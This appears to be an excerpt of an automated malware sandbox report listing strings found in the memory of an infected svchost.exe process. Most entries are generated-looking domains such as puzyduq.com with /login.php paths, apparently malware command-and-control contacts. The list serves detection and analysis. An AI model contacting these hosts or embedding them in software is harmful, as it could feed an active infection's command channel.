Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2553968961.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2558551911.0000000000882000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557483842.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303458885.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2558367053.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2307697997.0000000003394000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2307211585.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2556984027.00000000086F6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://purymuq.com/login.php
Source: svchost.exe, 00000002.00000003.2337642053.0000000003305000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338382961.0000000003303000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2640219450.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2339131570.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347564818.00000000033D9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://purytov.com/login.php
Source: svchost.exe, 00000002.00000003.2796055638.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3246274264.000000000870B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2805126129.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404121983.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2793841550.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2801740808.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3341799100.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3266427470.00000000087A4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://purytyp.com/login.php
Source: svchost.exe, 00000002.00000003.2550145927.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296876973.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549686862.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548641598.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2558367053.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296776136.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2297408732.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547272194.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296803931.00000000086F4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://purywop.com/login.php
Source: svchost.exe, 00000002.00000003.2671509523.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2763334143.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760246399.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3403450959.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349866379.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3265760525.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752639627.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2771121340.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350325354.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2748851196.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349262173.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2749199124.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350047450.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2759913760.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2801740808.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2787365873.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738516422.00000000086F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://purywyl.com/login.php
Source: svchost.exe, 00000002.00000003.2334859023.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334498126.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2592000281.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2339275288.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334047161.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337099007.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337179930.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332145984.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610522908.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337298832.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336690325.0000000008692000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334800958.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338959183.00000000086F6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puryxag.com/login.php
Source: svchost.exe, 00000002.00000003.2194039895.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2433469264.000000000868F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2430808473.000000000868F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557475743.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3403579535.000000000870D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393093066.0000000003339000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2577719348.0000000008784000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404121983.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202728385.0000000008644000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393602354.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548810720.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2434123780.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3341799100.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202332641.00000000033D9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2578793071.0000000008786000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puryxuq.com/login.php
Source: svchost.exe, 00000002.00000003.2681961070.000000000866F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puvybuv.com/H
Source: svchost.exe, 00000002.00000003.2681961070.000000000866F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puvybuv.com/http://puvybuv.com/
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303458885.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2307211585.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2580751870.00000000087AC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2301364243.00000000033D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puvycip.com/login.php
Source: svchost.exe, 00000002.00000003.2318282054.00000000008FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2553968961.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303458870.00000000008F8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557483842.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303458885.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321434222.00000000008F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2307697997.0000000003394000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323657176.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2305813558.00000000008F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2307211585.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2556984027.00000000086F6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puvydov.com/login.php
Source: svchost.exe, 00000002.00000003.2671509523.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671356551.000000000868F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672088553.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349866379.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350047450.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738516422.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671484952.00000000086F2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puvygog.com/login.php
Source: svchost.exe, 00000002.00000003.2550145927.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296551987.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296876973.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296517767.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549686862.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548641598.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549395486.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2297408732.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547272194.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2298813609.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548645821.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2295479426.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296451736.0000000008702000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puvygyq.com/login.php
Source: svchost.exe, 00000002.00000003.2796055638.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2391261344.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2805126129.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2793841550.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2801740808.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3266427470.00000000087A4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puvyjiq.com/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2308037835.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2272828863.0000000008701000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513891995.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2502622128.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296517767.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2272537462.00000000086FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2264150395.00000000086FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2302432052.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2272290978.00000000086FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2283080934.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2305095010.0000000008701000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2508227965.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2295479426.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296451736.0000000008702000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2273007343.00000000086FE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puvyjop.com/login.php
Source: svchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2503287920.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3403579535.000000000870D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2502622128.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393093066.0000000003339000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2194320231.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549395486.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202674715.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393409003.000000000338E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513112023.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3347345159.000000000338D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548645821.00000000086F6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puvylyg.com/login.php
Source: svchost.exe, 00000002.00000003.2337642053.0000000003305000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2339275288.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338991462.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2339128784.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338382961.0000000003303000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349262173.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2339275288.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338959183.00000000086F6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puvymaq.com/login.php
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760246399.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2592000281.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752639627.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323585198.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2748851196.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610522908.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2749199124.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2759913760.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2573770543.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328002527.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738516422.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323670952.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puvypul.com/login.php
Source: svchost.exe, 00000002.00000003.2772293102.00000000033AE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2772917622.00000000033AF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puvywal.com/X
Source: svchost.exe, 00000002.00000003.2772293102.00000000033AE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2772917622.00000000033AF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puvywal.com/http://pujygug.com/P
Source: svchost.exe, 00000002.00000003.2772293102.00000000033AE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2783207555.00000000033AD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2772917622.00000000033AF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puvywal.com/http://qetyxiv.com/http://qetyxiv.com/yrLMEM
Source: svchost.exe, 00000002.00000003.2334859023.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2592000281.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332145984.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610522908.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337298832.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332778027.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2333419776.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337435190.0000000008611000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335316915.0000000008611000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puvywup.com/login.php
Source: svchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337099007.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329748670.0000000003393000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326892101.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332145984.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328870829.000000000868F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328002527.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332778027.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2333419776.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2580751870.00000000087AC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puvyxeq.com/login.php
Source: svchost.exe, 00000002.00000003.2671509523.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671356551.000000000868F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349866379.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671936852.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349262173.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350047450.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puzybil.com/login.php
Source: svchost.exe, 00000002.00000003.2357365639.00000000087B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353785619.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353676961.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352873601.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359453590.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352880774.000000000878B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puzyceg.com/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2550145927.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2308037835.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296551987.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296517767.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549686862.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548641598.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2558367053.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2302432052.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547272194.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2305095010.0000000008701000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2295479426.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296451736.0000000008702000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puzydal.com/login.php
Source: svchost.exe, 00000002.00000003.2709443016.00000000033AD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670655678.00000000033AE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2673206249.0000000003393000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671925473.00000000033AE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puzyduq.com/http://gadyzib.com/http://qeqyqep.com/http://lymymax.com/http://lymymax.com/
Source: svchost.exe, 00000002.00000003.2709443016.00000000033AD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670655678.00000000033AE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2673206249.0000000003393000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671925473.00000000033AE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puzyduq.com/http://vofyzof.com/http://puzyduq.com/http://qeqyqep.com/http://gadyzib.com/http:
Source: svchost.exe, 00000002.00000003.2671509523.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2763334143.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760246399.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3403450959.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3265760525.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752639627.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2771121340.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350325354.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671936852.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2748851196.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353331404.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349262173.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2749199124.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350047450.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2759913760.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352299692.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2801740808.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2787365873.00000000086F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://puzyduq.com/login.php
